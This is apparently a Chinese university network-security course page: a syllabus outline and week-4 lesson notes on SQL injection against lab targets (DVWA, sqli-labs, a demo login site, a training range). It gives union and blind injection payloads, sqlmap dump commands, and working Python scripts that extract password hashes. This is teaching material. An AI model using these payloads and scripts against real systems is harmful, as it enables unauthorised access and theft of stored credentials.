目录

  • 1 §1 项目1 搭建网络安全实训环境
    • 1.1 导入(第1次课)
      • 1.1.1 sqli-labs
        • 1.1.1.1 sqli-labs/Less-11
        • 1.1.1.2 思考
      • 1.1.2 ●项目一 cake
      • 1.1.3 DVWA
        • 1.1.3.1 ■■■dvwa(Windows)靶机渗透测试
      • 1.1.4 ●loginPHP
      • 1.1.5 CMS
      • 1.1.6 OWASP_Broken_Web_Apps
      • 1.1.7 项目二 pikachu
      • 1.1.8 redtiger
      • 1.1.9 DC-3
      • 1.1.10 ●项目三 GET, POST, 靶场夺旗
      • 1.1.11 ■SQL注入小结
    • 1.2 §1.1 靶场:虚拟机CentOS7.8(192.168.112.100)
      • 1.2.1 (1)sqli-labs
      • 1.2.2 (2)DVWA-master
        • 1.2.2.1 参考资料:在CentOS6.5中安装DVWA
        • 1.2.2.2 ■附 安装DVWA-1.9(完整版)
      • 1.2.3 (3)login, loginPHP
      • 1.2.4 (4)Firefox, Hackbar
      • 1.2.5 (5)sqlmap
      • 1.2.6 2022.09.07作业1 “未知攻,焉知防”
      • 1.2.7 2022.09.14作业3“拖库—爆库、爆表、爆字段、爆数据”
      • 1.2.8 Q&A-1(作业批改、辅导答疑)
    • 1.3 §1.2 sqlmap
    • 1.4 ●§1.3 Kali
      • 1.4.1 ●Kali2024.3-vmware
      • 1.4.2 ●Kali中安装Sublime(Python开发环境))
      • 1.4.3 ●●●作业1 “永恒之蓝”漏洞(2024.11.29)
        • 1.4.3.1 【Windows版本和内部版本号】
        • 1.4.3.2 参考资料:内网信息搜集
      • 1.4.4 ●Kali:用docker快速搭建漏洞靶场dvwa
    • 1.5 §1.4 Python
      • 1.5.1 §1.4.1 下载、安装、配置Python的Anaconda3集成开发环境
      • 1.5.2 §1.4.2 使用Jupyter Notebook
      • 1.5.3 §1.4.3 在Kali中安装Anaconda3
      • 1.5.4 §1.4.4 在CentOS7中安装Anaconda3
      • 1.5.5 §1.4.5 在CentOS7中安装PyCharm
      • 1.5.6 §1.4.5 在Windows中安装Sublime
    • 1.6 ●●●§1.5 Burp
      • 1.6.1 Burp安装步骤
      • 1.6.2 2022.09.08作业2 “工欲善其事,必先利其器”
      • 1.6.3 Q&A-2(作业批改、辅导答疑)
    • 1.7 §1.5 Wireshark
    • 1.8 ●●●2022.09.15腾讯会议答疑
    • 1.9 2022.09.22直播作业辅导
    • 1.10 第4周 SQL注入、Burp、Python
      • 1.10.1 (1)在Win7中安装Anaconda3集成开发环境
      • 1.10.2 【课外拓展】在Kali中安装Anaconda3
      • 1.10.3 (2)在Win7中安装Sublime
      • 1.10.4 (3作业5“SQL注入、Burp、Python”
      • 1.10.5 (4)SQLmap
      • 1.10.6 ●(5)课堂作业“cake”
      • 1.10.7 ※(6)SQL注入小结
      • 1.10.8 技能大赛样题
      • 1.10.9 第4周讲课提纲
  • 2 ■实训1 SQL注入(第6周)
    • 2.1 (1)实训任务
      • 2.1.1 Windows版本
    • 2.2 (2)实训步骤
    • 2.3 附件:课程资料(PPT,回放)
  • 3 §2 项目2 Kali和BT5
    • 3.1 §2.1 Kali的安装和配置
    • 3.2 §2.2 Kali的远程SSH登录
    • 3.3 §2.3 BT5的安装和配置及远程SSH登录
    • 3.4 2022.10.20作业6"Kali和BT5"
    • 3.5 §2.4 远程登录和远程桌面
    • 3.6 项目3 Kali中Wireshark抓取Telnet、HTTP明文传输
    • 3.7 ●●●§2.5 导入HTTP(CTF01.GET参数注入)
    • 3.8 测验1 (占期末总评成绩10%)
    • 3.9 GET
    • 3.10 ●§2.5 导入HTTP(CTF02.POST)
      • 3.10.1 2022.11.10靶场
      • 3.10.2 2022.11.17cookie注入
    • 3.11 【选学】§2.5 导入HTTP(CTF03.靶场夺旗)
    • 3.12 项目4 HTTP协议分析
    • 3.13 【课外视野】学习通账号信息泄露分析与安全防御措施
  • 4 ■实训2 网络协议漏洞与利用(第11周)
    • 4.1 实训任务(GNS3)
    • 4.2 ●●●网络协议分析
    • 4.3 ●●●测验2 网络协议分析
    • 4.4 ※※※EVE
      • 4.4.1 (1)实1-310物理机配置
      • 4.4.2 (2)虚拟机Win10配置
      • 4.4.3 (3)实训2 网络协议漏洞与利用
    • 4.5 HTTP Headers
  • 5 实训3 ARP、DHCP、DNS协议安全攻防
    • 5.1 ※※※第13周 ARP协议安全攻防
    • 5.2 (1)ARP协议安全攻防(试题)
    • 5.3 (2)ARP协议安全攻防
    • 5.4 (3)实战 防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 5.5 (4)练习:防御密码嗅探-使用arpspoof实施中间人攻击并抓取密码
    • 5.6 ※※※(5)DHCP欺骗、IP欺骗、ARP欺骗的防御
      • 5.6.1 【课外视野】OSPF、生成树、DHCP欺骗和ARP欺骗
    • 5.7 ※※※(6)DNS欺骗
    • 5.8 (7)Port Stealing
    • 5.9 测验3 ARP协议安全攻防
    • 5.10 (参考1 桥接模式)ARP协议安全攻防
    • 5.11 ※(参考2 EVE模拟)ARP协议安全攻防
    • 5.12 第14周末答疑
  • 6 实训4 密码口令渗透
    • 6.1 §4.3 Windows系统口令破解
    • 6.2 §4.4 Linux系统口令破解
    • 6.3 §4.6 无线口令破解
    • 6.4 ※§4.5 网站登录口令破解
    • 6.5 ●●●专题——显错注入+盲注
    • 6.6 ※第15周复习考试
  • 7 §9 实训项目9 暴力破解
    • 7.1 (1)※实战-通过暴力破解Web登录界面获得管理员权限
    • 7.2 (2)字典工具pydictor.py
    • 7.3 (3)hydra和xhydra
    • 7.4 (4)Medusa
    • 7.5 (5)离线破解md5值和shadow加密文件
    • 7.6 (6)Brute Force(DVWA)
    • 7.7 (7)Burp Suite(Windows)
    • 7.8 (8)Burp Suite(Kali)
  • 8 §3 项目3 安装和配置Kali渗透测试系统
    • 8.1 (1)安装Kali渗透测试系统
    • 8.2 (2)SSH连接Kali
    • 8.3 (3)※ettercap抓取FTP登录账号和密码
    • 8.4 (4)结果截图(ettercap抓取FTP登录账号和密码)
  • 9 §5 项目2.3 安装Kali渗透测试系统
    • 9.1 BT到Kali的发展史
    • 9.2 (1)安装Kali
    • 9.3 (2)安装BT5
    • 9.4 ■附 安装Kali、BT5、DVWA、SQLmap、Win7
  • 10 §4 项目4 使用永恒之蓝漏洞对Win7进行渗透
    • 10.1 (1)获取Win7系统shell、开启远程桌面
    • 10.2 (2)截图
    • 10.3 (3)Metasploit渗透测试
    • 10.4 (4)使用msf渗透攻击XP并进行远程关机
    • 10.5 (5)使用msf攻击Win10
    • 10.6 (6)附件:Windows版本
  • 11 ※§3 项目1.2 SQL注入
    • 11.1 ■(1)SQL注入联合查询(第3次课)
      • 11.1.1 附件:联合查询SQL注入模板
      • 11.1.2 ■联合查询SQL注入模板(简版)
    • 11.2 (2)SQL注入(PDF文档)
      • 11.2.1 ①更新Kali系统中的Firefox浏览器并安装浏览器插件
      • 11.2.2 ②部署sqli-labs学习环境
      • 11.2.3 ③)sqli-labs使用教学
      • 11.2.4 ④实战:SQL注入联合查询-获取数据库数据
    • 11.3 ■(3)部署loginPHP网站
      • 11.3.1 ●SQL注入测试
      • 11.3.2 ●创建数据库、部署简单登录网站loginPHP、进行SQL注入测试(2019.12.17)
      • 11.3.3 ①login.php
      • 11.3.4 ②loginAuth.php
      • 11.3.5 ③loginAuth1.php
      • 11.3.6 ④success.php
      • 11.3.7 ⑤failure.php
      • 11.3.8 ■⑥(loginPHP网站SQL注入)结果截图
    • 11.4 (4)DVWA-Low-SQL Injection
    • 11.5 (5)猫舍靶场联合查询SQL注入
    • 11.6 (6)Access数据库
    • 11.7 (7)MySQL数据库的远程登录
  • 12 §3 项目1.3 通过SQLmap进行SQL注入并获得后台管理员账号和密码
    • 12.1 (1)安装SQLmap
    • 12.2 (2)※实战 SQLmap探测DVWA的SQL注入漏洞
    • 12.3 (3)结果截图(SQLmap拖库)
    • 12.4 (4)使用BurpSuite进行POST方式的SQL注入
  • 13 §2 项目1.4 防止黑客攻破Discuz论坛并拿下数据库
    • 13.1 ●实训5 防止黑客攻破Discuz论坛并拿下数据库
    • 13.2 (1)防止黑客攻破Discuz论坛并拿下数据库
    • 13.3 (2)CentOS6.5-desktop及MySQL
  • 14 §8 项目2.4 作业 Wireshark抓取Telnet明文包
    • 14.1 (1)※Wireshark抓取Telnet明文包(CentOS6.5)
    • 14.2 (2)结果截图(Wireshark抓取Telnet明文包)
    • 14.3 (3)常用协议分析(ARP、ICMP、TCP、HTTP、DNS)
  • 15 ●●●§11 实训项目11 基于文件上传漏洞获得网站shell权限
    • 15.1 ●文件上传(PDF文档)
    • 15.2 (1)基于文件上传漏洞获得网站shell权限
    • 15.3 (2)本地文件包含漏洞截图
    • 15.4 (3)课程资料
    • 15.5 (4)课外拓展 编辑器KindEditor文件上传漏洞
  • 16 §12 实训项目12 Nmap
    • 16.1 (1)安全工具
    • 16.2 (2)Nmap
    • 16.3 (3)网络空间安全(系统渗透测试篇)
    • 16.4 (4)信息收集
  • 17 §13 实训项目13 File Inclusion文件包含漏洞及防御
    • 17.1 (1)本地文件包含
    • 17.2 (2)远程文件包含
  • 18 §14 实训项目14 XSS跨站脚本攻击
    • 18.1 (1)窃取用户Cookie信息保存到远程服务器
    • 18.2 (2)反射型XSS攻击劫持用户浏览器
    • 18.3 (3)存储型XSS窃取用户信息
  • 19 DDoS
    • 19.1 (1)DDoS攻击原理
  • 20 §15 实训项目15 缓冲区溢出漏洞
  • 21 §16 实训项目16 搭建蜜罐系统捕捉黑客操作步骤
  • 22 §15 网络协议分析
    • 22.1 (1)HTTP协议
    • 22.2 (2)Burp
    • 22.3 (3)Wireshark
    • 22.4 (4)Fiddler
  • 23 考核
    • 23.1 平时成绩(40%+30%)
    • 23.2 期末考试(30%)
  • 24 网络1901-04期末考试(2020-2021-2)
    • 24.1 试题1:damicms
    • 24.2 试题2:sqli-labs
    • 24.3 试题3:dvwa
    • 24.4 试题4:loginPHP
  • 25 校外卷重修-B05123网络安全运行与维护(2023年春)复习
    • 25.1 (1)loginPHP
    • 25.2 (2)实战-Web安全之SQL注入
    • 25.3 (2)Python编程
    • 25.4 (3)SQLmap或Python编程
  • 26 ●●●复习考试(2024年秋)
    • 26.1 复习
    • 26.2 模拟考试
    • 26.3 考试
第4周 SQL注入、Burp、Python

第4周 SQL注入、Burp、Python

(7)2022.09.28第1-2节课电脑学习通“直播”回放:

(7)2022.09.28第3-4节课电脑学习通“直播”回放:


(8)2022.09.29第1-2节课电脑学习通“直播”回放:

(8)2022.09.29第3-4节课电脑学习通“直播”回放:




2022.09.28-29直播“SQL注入、Burp、Python”教案:

https://mooc1-api.chaoxing.com/nodedetailcontroller/visitnodedetail?courseId=205573442&knowledgeId=661716290


本节主要内容:

八、Python:loginPHP、sqli-labs、DVWA的爆库

九、sqli-labs:GET、POST、cookie(POST)

十、DVWA:

暴力破解、SQL注入、盲注:构造万能用户名,联合查询SQL注入,Burp,Python


【导入】

DVWA-Damn Vulnerable Web Application该死的易受攻击的Web应用程序

Username : admin

Password : password




在DVWA Security中进行难度的选择:Low,Medium,High,Impossible


(1)DVWA-Low-SQL Injection(DVWA-低级-SQL注入) 

教材P160-168 “§6.2.3 联合查询SQL注入”

微课6-6 联合查询SQL注入

微课6-7 联合查询SQL注入实例

http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#


方法1:联合查询SQL注入——GET,字符型,有回显

猜解步骤:

①判断字符型/数字型:字符型

1 and 1=1           正常

1 and 1=2           正常,说明后面的判断语句没有被带入SQL查询,猜测是字符型

1' and 1=1#        正常

1' and 1=2#        报错,说明是字符型的SQL注入

1'#    字符型单引号闭合  

②猜解字段数:2

1' order by 3#      报错:Unknown column '3' in 'order clause'

1' order by 2#      正常,说明2个字段

③爆库:dvwa

1' union select 1,2#

-1' union select 1,2#    回显1,2

-1' union select database(),version()#

回显数据库名:dvwa,DBMS:5.5.68-MariaDB

④爆表:guestbook,users

-1' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

⑤爆字段:

-1' union select database(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#

爆字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

⑥爆数据:

-1' union select database(),group_concat(user,0x3a,password) from users#

爆数据user:password:

admin:5f4dcc3b5aa765d61d8327deb882cf99,gordonb:e99a18c428cb38d5f260853678922e03,1337:8d3533d75ae2c3966d7e0d4fcc69216b,pablo:0d107d09f5bbe40cade3de5c71e9e9b7,smithy:5f4dcc3b5aa765d61d8327deb882cf99

或:

-1' union select database(),group_concat(first_name,0x3a,last_name) from users#

爆数据first_name:last_name:

admin:admin,Gordon:Brown,Hack:Me,Pablo:Picasso,Bob:Smith


【分析】

①数据库:

●数据库:information_schema

tables表的字段:数据库名(table_schma),表名(table_name)    #爆表名


columns表的字段:数据库名(table_schma),表名(table_name),字段名(column_name)    #爆字段名

数据库:dvwa

表:guestbook,users

users表的字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login


●数据库:dvwa

表:users

users表的字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

users表的记录:5条

first_name  last_name

admin          admin

Gordon        Brown

Hack           Me

Pablo           Picasso

Bob             Smith



②表单:

<form action="#" method="GET">

User ID:

<input type="text" size="15" name="id">

<input type="submit" name="Submit" value="Submit">

</form>

③处理:

$id = $_REQUEST[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";


id=1

HTML:<form> <input name="id">    表单域名 name/value对  id=1  id

PHP:  $id = $_REQUEST['id']                  GET/POST    $id内存变量

SQL:  select ... from ... where user_id='$id'                 user_id字段变量


爆库:-1' union select database(),version()#

SELECT first_name, last_name FROM users WHERE user_id = '$id'

SELECT first_name, last_name FROM users WHERE user_id = '-1' union select database(),version()#'

MariaDB [dvwa]> SELECT first_name, last_name FROM users WHERE user_id = '-1' union select database(),version();


方法2:Python——GET,字符型,输入1有回显“First name: admin

http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#

Cookie:


Cookie:

PHPSESSID=tck3rspd17tehdauckef3749b6

security=low


暴力破解第5个用户的密码

DVWA-Low-SQL Injection.py

# 爆密码(SQL注入),暴力破解第5个密码

import requests

url = 'http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=%s'

payload = "1' and (ascii(substr((select password from users limit 4,1),%s,1))=%s)#"


res = ''

for i in range(1,33):

    print(i,'------------------')

    for j in range(32,127):

        now_payload = payload % (i,j)

        cookies = {

            'PHPSESSID':'tck3rspd17tehdauckef3749b6',      #在浏览器中查

            'security':'low'

        }

        data = {

            'id':now_payload,

            'Submit':'Submit'

        }

        r = requests.get(url=url,params=data,cookies=cookies)

        if 'First name: admin' in r.text:

            res += chr(j)

            print(res)

            break

运行结果:5f4dcc3b5aa765d61d8327deb882cf99

somd5.com查MD5解密:password



(2)DVWA-Medium-SQL Injection(DVWA-中级-SQL注入)

http://192.168.112.100/DVWA-master/vulnerabilities/sqli/#


Burp——POST,数字型,有回显

               联合查询SQL注入,SQL编码(解答见后)




(3)loginPHP

http://192.168.112.100/loginPHP/login.php

教材P158-160 “§6.2.2 POST型SQL注入”

微课6-4 POST型SQL注入

破解指定用户名“wl210514”的密码(20位以内的数字、字符、特殊字符组成)

布尔盲注——Python/SQLmap,GET/POST,字符型,有(布尔型)回显

方法1:构造万能密码、万能用户名

万能密码:' or 1=1#           用户名:any

                 any' or 1='1       用户名:any

万能用户名:' or 1=1#         密码:any

                      any' union select * from users#   密码:any


方法2:联合查询SQL注入

any' union select 1,username,password from users#


方法3:Burp

暴力破解:没有这么大的字典

联合查询SQL注入——GET,字符型,有回显(布尔型)


方法4:SQLmap

注入点:

http://192.168.112.100/loginPHP/loginAuth.php?usernm=1

爆库:mydb

$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" --current-db

爆表:users

爆字段:id,password,username

爆数据:用户名“wl210514”的密码为wgxy202201-03

$ sqlmap -u "http://192.168.112.100/loginPHP/loginAuth.php?usernm=1" -D mydb -T users -C username,password --dump



方法5:Python

# 爆密码(SQL注入),暴力破解某用户名的密码

import requests


url = "http://192.168.112.100/loginPHP/loginAuth.php"

payload = "wl210514' and (ascii(substr(password,%s,1))=%s)#"


res = ''

for i in range(1,21):

    print(i,'------------------')

    for j in range(32,128):

        payload1 = payload % (i,j)

        data = {

            'usernm':payload1,  #表单name="usernm"

            # usernm='wl210514' and 密码的第1个字符等于7

            'passwd':'any'         #表单name="passwd" 

        }

        r = requests.post(url=url,data=data)    #表单method=get

        if not 'Login Failure!' in r.text:      #布尔型

            res += chr(j)

            print(res)

            break

运行结果:7df2cac4872




(4)猫舍

http://cntj8003.ia.aqlab.cn/

http://cntj8003.ia.aqlab.cn/?id=1

WriteUp


?id=1          GET

?id=1 and 1=1  正常

?id=1 and 1=2  报错(无显示)

?id=1#         数字型


?id=1 order by 3    报错(无显示)

?id=1 order by 2    字段数2


?id=1 and 1=2 union select 1,2

?id=1 and 1=2 union select 1,database()

#数据库名:maoshe


?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

#表名:admin,dirs,news,xss


?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

#字段名:Id,username,password 


?id=1 and 1=2 union select 1,group_concat(username,0x3a,password) from admin

?id=1 and 1=2 union select 1,group_concat(username,':',password,'<hr />') from admin

#两个用户名:密码:

admin:hellohack

,ppt领取微信:zkaqbanban




【分析】讲解

【实战】操作

八、Python

1.Anaconda3的安装

Jupyter Notebook介绍

Kali中的Python和Python3

【实战1】loginPHP的爆库

# loginPHP爆库(SQL注入),爆数据库名或DBMS

import requests


url = "http://192.168.112.100/loginPHP/loginAuth.php"

payload = "1' and ascii(substr(database(),%s,1))=%s#"


res = ''

for i in range(1,10):

    for j in range(32,127):

        now_payload = payload % (i,j)

        data = {

            'usernm':now_payload,

            'passwd':'any'

        }

        r = requests.post(url=url,data=data)

        if not 'Login Failure!' in r.text:

            res += chr(j)

            print(res)

            break

运行结果:

即数据库为:mydb

改database()为version(),即可得到DBMS:5.5.68-MariaDB


【实战2】sqli-labs的爆库

http://192.168.112.100/sqli-labs/Less-1/?id=1

# sqli-labs爆库(SQL注入),获取数据库名

import requests

url = "http://192.168.112.100/sqli-labs/Less-1/?id=%s"

payload = "1' and ascii(substr((database()),%s,1))=%s%%23"


res = ''

for i in range(1,10):

    for j in range(32,127):

        new_payload = payload % (i,j)

        new_url = url % new_payload

        r = requests.get(new_url)

        if 'Dumb' in r.text:

            res += chr(j)

            print(res)

            break

运行结果:



【实战3】DVWA的爆库

DVWA(get)database.py

# DVWA-master爆库(SQL注入),获取数据库名

import requests


url = "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?Submit=Submit&id=%s"

payload = "1' and ascii(substr((database()),%s,1))=%s%%23"


cookies = {

    'PHPSESSID': 'tck3rspd17tehdauckef3749b6',

    'security': 'low'

}

res = ''

for i in range(1, 20):

    for j in range(32, 127):

        new_payload = payload % (i, j)

        new_url = url % new_payload

        r = requests.get(new_url,cookies=cookies)

        if 'First name: admin' in r.text:

            res += chr(j)

            print(res)

            break

运行结果:

或:

DVWA(get)database1.py

# DVWA-master爆库(SQL注入),获取数据库名和数据库类型

import requests

url = "http://192.168.112.100/DVWA-master/vulnerabilities/sqli/?id=%s"

payload = "1' and (ascii(substr(database(),%s,1))=%s)#"


cookies = {

    'security': 'low',

    'PHPSESSID': 'tck3rspd17tehdauckef3749b6'

}

res = ''

for i in range(1, 10):

    for j in range(32, 127):

        new_payload = payload % (i, j)

        new_url=url%new_payload

        data = {

            'id':new_payload,

            'Submit':'Submit'

        }

        r = requests.get(url=new_url,params=data,cookies=cookies)        

        if 'First name: admin' in r.text:

            res += chr(j)

            print(res)

            break



九、sqli-labs

Less-1,Less-2,......

Less-1联合查询SQL注入模板:

(1)?id=1            #注入点

1.判断字符型/数字型

(2)and 1=1、and 1=2

?id=1 and 1=1       #正常

?id=1 and 1=2       #无显示或报错,说明是数字型

若?id=1 and 1=2    #正常,则可能是字符型:

?id=1'                     #报错,说明单引号没有过滤,存在SQL注入漏洞

?id=1'--+   或?id=1'%23      #正常,说明是字符型,单引号闭合

?id=1\                    #报错,说明单引号闭合

?id=1\--+               #正常

?id=1"--+               #正常,说明是字符型,双引号闭合

?id=1' and 1=1--+     #正常

?id=1' and 1=2--+     #无显示或报错,说明是字符型的SQL注入


2.猜解字段数(二分法)


(3)字段数

?id=1' order by 3--+    #显示  说明至少3个字段

?id=1' order by 4--+    #报错  说明3个字段

(4)爆出字段的显示位置(回显位)

?id=-1' union select 1,2,3--+     #回显位


3.爆库

(5)获取数据库名称

?id=-1' union select 1,database(),3--+

#显示数据库名:security

4.爆表

(6)列出当前数据库中所有表的名称

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

#当前数据库:security,表名:emails,referers,uagents,users

5.爆字段

(7)获取users表中的字段名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+

#数据库security、表users的字段名:id,username,password


得到:

数据库:security

表:users

字段:id,username,password

6.爆数据

(8)获取users表中的用户名、密码字段中的值

?id=-1' union select 1,database(),group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from users--+

?id=-1' union select 1,database(),group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e) from users--+

#用户名:密码:

Dumb:Dumb

......

,admin4:admin4


http://192.168.112.100/sqli-labs/#fm_imagemap

SQLi-LABS Page-1(Basic Challenges)

sqli-labs联合查询SQL注入:

(1)GET

$id=$_GET['id'];        #get

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    Less-1单引号闭合

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";      Less-2数字型

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";   Less-3单引号括号

$id = '"' . $id . '"';

$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";     Less-4括号

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";     Less-5单引号闭合

$id = '"'.$id.'"';

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";        Less-6数字型

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";  Less-7括号括号闭合

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";       Less-8数字型,盲注

(2)POST

Less-11 POST,单引号

$uname=$_POST['uname'];

$passwd=$_POST['passwd'];

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

Less-12 POST,括号

$uname='"'.$uname.'"';

$passwd='"'.$passwd.'"';

@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";


联合查询SQL注入——POST,字符型,有回显

Less-11 POST,字符型,有回显

http://192.168.112.100/sqli-labs/Less-11/

有回显:输入正确的用户名和密码

Username: Dumb

Password: Dumb

无回显,登录失败

无回显,登录失败

Username: 1,1'#,1#

Password: any

③报错

Username: 1'

Password: any

报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1' LIMIT 0,1' at line 1

Username: 1'#

Password: any

说明是字符型SQL注入,单引号闭合

1' order by 2#         #无回显,登录失败

1' order by 3#         #报错:Unknown column '3' in 'order clause'

说明有2个字段

1' union select 1,2#

回显:

Your Login name:1

Your Password:2


爆库:

1' union select database(),version()#

#爆库security,数据库版本5.5.68-MariaDB

爆表:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

得到4张表:emails,referers,uagents,users

爆字段:

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

得到users表的3个字段:id,username,password

爆数据:

1' union select username,password from users limit 0,1#

得到users表的第1条username用户名和password密码:Dumb,Dumb

1' union select 1,group_concat(username,':',password) from users#

得到users表的所有username用户名和password密码


(3)cookie(POST)

Less-20 POST,cookie

http://192.168.112.100/sqli-labs/Less-20/

$uname = check_input($_POST['uname']);

$passwd = check_input($_POST['passwd']);

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";


$cookee = $_COOKIE['uname'];

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";


十、DVWA

1.Low

Brute Force

SQL Injection

SQL Injection (Blind)

2.Medium

Brute Force

SQL Injection

SQL Injection (Blind)

3.High

Brute Force

SQL Injection

SQL Injection (Blind)

4.Impossible

Brute Force

SQL Injection

SQL Injection (Blind)


(1)DVWA-Low-Brute Force(DVWA-低级-暴力破解)

<form action="#" method="GET">

    <input type="text" name="username"><br />

    <input type="password" AUTOCOMPLETE="off" name="password"><br />

    <input type="submit" value="Login" name="Login">

</form>

?username=admin&password=1&Login=Login#

// Get username

$user = $_GET[ 'username' ];

// Get password

$pass = $_GET[ 'password' ];

$pass = md5( $pass );

// Check the database

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

Paylod:构造万能用户名username

admin' and 1=1#    T and T=T

admin' and 1=2#    T and F=F报错

admin' or 1=1#       T or T=T报错?

admin' or 1=2#       T or F=T


(2)DVWA-Medium-Brute Force(DVWA-中级-暴力破解)

Burp抓包、改包,字典,暴力破解


(3)DVWA-High-Brute Force(DVWA-高级-暴力破解)


(4)DVWA-Low-SQL Injection(DVWA-低级-SQL注入)

联合查询SQL注入——GET,字符型,有回显:输入1有回显“First name: admin”

可用联合查询SQL注入或Python

联合查询SQL注入:

①字符型:单引号闭合

②字段数:2

③爆库:dvwa

④爆表:guestbook,users

⑤爆字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

⑥爆数据:

-1' union select database(),group_concat(user,0x3a,password) from users#

-1' union select user,password from users#


(5)DVWA-Medium-SQL Injection(DVWA-中级-SQL注入)


只能选择:1-5

不是GET型,而是POST型或cookie型

POST型:$id = $_POST[ 'id' ];

Burp抓包、改包、SQL注入,放包

POST型

id=1&Submit=Submit

可用Burp+联合查询SQL注入或Python

Send to Repeater改包,Go放包

id=1 and 1=1&Submit=Submit    #显示正常

id=1 and 1=2&Submit=Submit    #报错

不需要单引号闭合,说明是数字型

id=1 order by 3&Submit=Submit    #报错

id=1 order by 2&Submit=Submit    #显示正常,说明字段数为2

id=1 union select 1,2&Submit=Submit

id=-1 union select 1,2&Submit=Submit

id=-1 union select database(),uesr()&Submit=Submit     #爆库:dvwa

id=-1 union select 1,table_name from information_schema.tables where table_schema='dvwa'&Submit=Submit     #报错'\'dvwa\'',单引号转义了

id=-1 union select 1,table_name from information_schema.tables where table_schema=0x64767761&Submit=Submit    #把dvwa换成hex码

#URL编码:d-64,v-76,w-77,a-61

#爆表:guestbook,users


id=-1 union select 1,column_name from information_schema.columns where table_name=0x7573657273&Submit=Submit     #users:0x7573657273

#爆字段:...user,password,...


id=-1 union select user,password from users&Submit=Submit   #爆数据



ASCII码表:

(6)DVWA-High-SQL Injection(DVWA-高级-SQL注入)

联合查询SQL注入

字符型:单引号闭合

字段数:2

爆库:dvwa

爆表:guestbook,users

爆字段:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

爆数据:

-1' union select database(),group_concat(user,0x3a,password) from users#

-1' union select user,password from users#


(7)DVWA-Low-SQL Injection (Blind)(DVWA-低级-SQL注入盲注)

回显布尔值:

1-5:User ID exists in the database.

其他:User ID is MISSING from the database.

GET,字符型,盲注

破解第2个密码:

方法1:猜解

1' and 1=1#      #exists

1' and 1=2#      #MISSING

字符型

联合查询SQL注入法不起作用了,不能union

爆库:

Step 1 猜数据库名的长度 length(database())

1' and (length(database()))>1#      #exists

1' and (length(database()))<5#      #exists,说明在1-5之间

1' and (length(database()))=2#      #MISSING

1' and (length(database()))=3#      #MISSING

1' and (length(database()))=4#      #exists,说明数据库名长度为4

Step 2 猜数据库名 ascii(substr(database(),i,1))

1' and ascii(substr(database(),1,1))>96#            #显示存在

说明数据库名的第1个字符的ASCII码大于96,即小写字母

1' and ascii(substr(database(),1,1))<123#          #显示存在

说明数据库名的第1个字符的ASCII码小于123,即小写字母a-z(ASCII码值97-122)

1' and ascii(substr(database(),1,1))>100#            #显示不存在

说明数据库名的第1个字符的ASCII码不大于100

1' and ascii(substr(database(),1,1))<100#            #显示不存在

说明数据库名的第1个字符的ASCII码不小于100

1' and ascii(substr(database(),1,1))=100#           #显示存在,d

说明数据库名的第1个字符的ASCII码等于100,对应字符"d"

1' and ascii(substr(database(),2,1))=118#           #显示存在,v

1' and ascii(substr(database(),3,1))=119#           #显示存在,w

1' and ascii(substr(database(),4,1))=97#             #显示存在,a

依次猜得数据库名为"dvwa"

Step 3 爆表:

Step 4 爆字段:

Step 5 爆数据:


方法2:Python

DVWA-Low-SQL Injection (Blind).py

import requests

url = 'http://192.168.112.100/DVWA-master/vulnerabilities/sqli_blind/'

payload = "1' and (ascii(substr((select password from users limit 1,1),%s,1))=%s)#"


res = ''

for i in range(1,33):

    print(i,'------------------')

    for j in range(32,127):

        now_payload = payload % (i,j)

        cookies = {

            'PHPSESSID':'tck3rspd17tehdauckef3749b6',

            'security':'low'

        }

        data = {

            'id':now_payload,

            'Submit':'Submit'

        }

        r = requests.get(url=url,params=data,cookies=cookies)

        if 'User ID exists in the database.' in r.text:

            res += chr(j)

            print(res)

            break

运行结果:e99a18c428cb38d5f260853678922e03



(8)DVWA-Medium-SQL Injection (Blind)(DVWA-中级-SQL注入盲注)

Python


【小结】

1.有回显

(1)GET,字符型,有回显

sqli-labs/Less-1

DVWA-Low-SQL Injection

(2)GET,数字型,有回显

sqli-labs/Less-2

(3)POST,字符型,有回显

sqli-labs/Less-11

(4)POST,数字型,有回显

DVWA-Medium-SQL Injection

2.无回显(盲注)

(1)GET,字符型,无回显

DVWA-Low-SQL Injection (Blind)

